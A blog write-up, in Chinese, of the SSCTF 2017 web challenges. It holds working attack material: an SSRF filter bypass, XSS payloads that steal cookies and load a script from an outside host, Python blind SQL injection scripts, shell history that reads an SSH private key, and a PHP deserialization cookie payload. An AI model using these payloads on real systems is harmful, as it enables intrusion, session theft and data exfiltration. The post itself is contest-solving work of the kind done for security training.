SSCTF-2017-web-writeup

忙乎了两天

捡吗(web100)

tip已经说明过程
web100 ssrtf过程 http://120.132.21.19/ -> 10.23.173.190/news.php ->ftp://172.17.0.2

http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=FTP://172.17.0.2/flag.txt

协议名对大小写不敏感,所以可以利用FTP这样大写绕过过滤。

此攻击链略复杂,加上总多选手的爆破,做起来很麻烦。
其中ftp这个点,如果是利用gopher连接服务去看是否有数据返回从而判断是端口否有开放,这样的做法不适合ftp,当时还想着利用超时(连接服务时不发生送数据会导致一直连接)来进行端口判断。

弹幕(web200)

弹幕是通过websockets发的,这里其实坐等大佬的payload上来就好啦。

<img src="/static/images/welcome.gif" onload="c=encodeURIComponent(document.cookie);if(c.length>32){a=new Image();a.src='/xssHentai/request/1/?body='+c;}">

这样可以看到,是可以通过img执行js代码

<img src="x" onerror=jQuery.getScript(String.fromCharCode(104,116,116,112,115,58,47,47,120,46,115,101,99,98,111,120,46,99,110,47,116,85,74,89,67,52))>

式咋提交,其实也是很蒙蔽,因为弹幕中有比赛选手各种xss,莫名其妙的感觉flag过来了

白吗(web300)

如果没有web1的FILE协议对此题的源码(/var/www/submit.php)获取,我估计我还在纠结假的注入、假的后台、假的zip、假的探针、假的phpmyadmin....都是假的

<?php
header("CONTENT-TYPE:text/html;charset=UTF-8");
define("HOST","127.0.0.1");
define("USERNAME","root");
define("PASSWORD","");
$con=new mysqli(HOST,USERNAME,PASSWORD,"ctf1");
if(!$con){
    echo $con->error;
    exit("aaaa");
}
if(!$con->select_db("ctf1")){
    echo $con->error;
}
if(!$con->query("SET NAMES utf8")){
    echo $con->error;
}

$xss=$_POST["sub"];
$str = addslashes($xss);

class Action  
{  
  
    function get_outer()  
    {  
        $url = 'http://www.ip138.com/ip2city.asp';  
        $info = file_get_contents($url);  
        preg_match('|<center>(.*?)</center>|i', $info, $m);  
        return $m[1];  
    }  
  
    function get_inter()  
    {  
        $onlineip = '';  
        if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {  
            $onlineip = getenv('HTTP_CLIENT_IP');  
        } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {  
            $onlineip = getenv('HTTP_X_FORWARDED_FOR');  
        } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {  
            $onlineip = getenv('REMOTE_ADDR');  
        } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {  
            $onlineip = $_SERVER['REMOTE_ADDR'];  
        }  
        return $onlineip;  
    }  
}

$p = new Action();
$intip = $p->get_inter();
$outip2= $intip;
@mkdir("/tmp/ids",0777,true);
$sql="insert into ctf1(xss,ip,time,wai_ip) values('$str','$intip',NOW(),'$outip2')";

if($str=$con->query($sql)){
    echo "<script>alert('success');window.location.href='index.php'</script>";
    $insertid = mysqli_insert_id($con);
    file_put_contents("/tmp/ids/".$insertid,"a");
}
else {
    echo "<script>alert('fail');</script>";
}
?>

开始还以为是注入

def exp(n):
  global data
  for i in range(33,127):
  #for ii in 'root':
    #i = ord(ii)
    flag = 1
    url = "http://120.132.20.149/submit.php"
    sql = "select count(SCHEMA_NAME) from information_schema.SCHEMATA limit 1,1"
    sql = "select table_name from information_schema.TABLES where TABLE_SCHEMA=0x63746631 limit 0,1"
    #sql = "select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=0x63746631 and TABLE_NAME=0x63746631 limit 2,1"
    #sql = "select user from mysql.user limit 4,1"
    #sql = "select count(ip) from ctf1"
    payload = "A'-(if(ord(mid((%s),%d,1))=%d,sleep(2),1))-'" % (sql,n,i)
    print payload
    h = {
      'X-Forwarded-For' : "A'",
      'X-Forwarded' : "A'",
      'Client-IP' : payload
    }

    r = requests.get(url,headers=h)
    try:
      res = requests.get(url,headers=h,timeout=2)
      #print res.content
    except:
      print chr(i)
      data[n] = chr(i)
      print "Data %dth: %s" % (n,data[n])
      flag = 0
      break
  if flag:
    exit()

然后根据前面submit.php的变量$xss就猜到是xss,但是!!!第一天测试的时候bot好像是挂着的!导致一直没弄成功,后面就一直想能不能日下这台服务器,因为mysql的密码是空的(想通过ssrf连接mysql服务,当然只是想想,主要是mysql还有交互过程导致失败)

最后就是通过submit.php直接提交script标签代码,然后就可以收到数据.

<script src=https://x.secbox.cn/tUJYC4></script>

b9557ee76eeb61cadda090855a47d266-1.php

再读取flag
http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=FILE:///var/www/admin/js.php

凭借代码应该是想考察xss去获取源代码的,可惜web1可以穿

WebHook(web500)

https://github.com/howmp/webhook

先为这个题目的点个赞.虽然不知道考啥,感觉自己也是投机取巧做出来的.

这个代码整个逻辑流程就是,选手先添加远程github链接,然后再进行pull,最后还能够下载自己项目的zip

本地测试的时候debug报错有泄露app.config['SECRET_KEY'],可惜后面关掉了debug。

http://webhook.ssctf.seclover.com:8000/webhooklog

其中pass是选手设置的密码+app.config['SECRET_KEY']值,后面解密几个发现secret_key就是ssctf

先添加项目地址:
http://webhook.ssctf.seclover.com:8000/addrepo?repo=t&key=05dec173a9b6862b26b05f2b4d0c521a&url=https://github.com/l3m0n/t.git&pass=1234asdeqwasdasdqwsad12adsd

再获取-打包项目:
http://webhook.ssctf.seclover.com:8000/push
POST数据:
{
	"repository":{
		"name" : "t"
	},
	"ref" : "refs/heads/master"
}

其中项目中可以通过build.json文件中的include来控制zip的压缩路径.

args = ['zip', '-r',
        os.path.join(outpath, str(int(time.time())) + '.zip')]
if os.path.isfile(os.path.join(basedir, 'build.json')):
    b = json.loads(
        open(os.path.join(basedir, 'build.json')).read())
    for x in b.get('include', [basedir]):
        args.append(x)

    for x in b.get('exclude', []):
        args.append("-x")
        args.append(x)
    p = subprocess.Popen(args, cwd=basedir)

下载了一下/var/www/路径的东西,其中有一个flag的项目,但是git log看了一下还是没啥结果,后面放了一个tip,感觉是有点迷,但是大概知道commit里面是不存在flag.

webhook题目,flag在flag项目中,但在commit真正的flag的时候,webhook已经被删掉了

还有一个.bash_history,应该是前面的人通过命令执行然后遗留的.提取一下关键的几个命令信息.

cat /home/www-data/.ssh/id_rsa
cat /home/www-data/.ssh/id_rsa.pub
ssh -T git@git.coding.net -i id_rsa
git clone https://git.coding.net/ljgame/flag.git

这个是通过git拉取私有项目的步骤.

配置/root/.ssh/config
Host ljgame.git.coding.net
  HostName git.coding.net
  User git
  IdentityFile /home/www-date/.ssh/id_rsa

ssh -T git@git.coding.net -i id_rsa
git clone git@ljgame.git.coding.net:ljgame/flag.git

最后就能够拉取到这个私有项目,获得flag.

CloverSec Logos(web500)

http://60.191.205.80/picture.php?id=1 存在注入,对空格和or这些有过滤,但是很好绕过。写成脚本

import requests

url = "http://60.191.205.80/picture.php?id="

#c = "0123456789abcedf"
#sql = "select(column_name)from(infoorrmation_schema.columns)where(table_name)='user'%0blimit%0b2,1"
sql = "select(passwoorrd)from(user)where(username)='admin'"
f = 0
out = ""

for i in range(1,200):
	print i
	f = 0
	for c in range(33,128):
		payload = '0"||if(ascii(mid(('+sql+'),'+str(i)+',1))='+str(c)+',1,0)||"a'
		#print payload
		res = requests.get(url+payload)
		if "not found!" not in res.content:
			print c
			out = out + chr(c)
			f = 1
			print out
			break

	if not f:
		print "output: " + out
		exit()

print "output: " + out

跑得admin的密码为14aceb3fc5992cef3d97,长度为20,另一个表名是Dede_CMS,前3后1截得的16位去解密得到密码为admin^g。
两处源码泄漏:index.php.swp,include.php.swp。源码很明显的反序列去读flag文件,有一些简单的限制,路径可以在前面加./,用自己服务器echo出来1234,序列化字符串中类名长度前加个+号。最后的payload

GET /index.php?action=imformation&secret=http://x.x.x.x/1.php HTTP/1.1
Host: 60.191.205.80
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=ps3s1c2479tbi9ahmmmrj5ubd3; Tips=token+will+be+unserialize;token%3dO%3a%2b4%3a"Read"%3a1%3a{s%3a4%3a"file"%3bs%3a16%3a"./ssctf_flag.php"%3b}
Connection: close
posted @ 2017-05-08 11:42  l3m0n  阅读(1176)  评论(0编辑  收藏  举报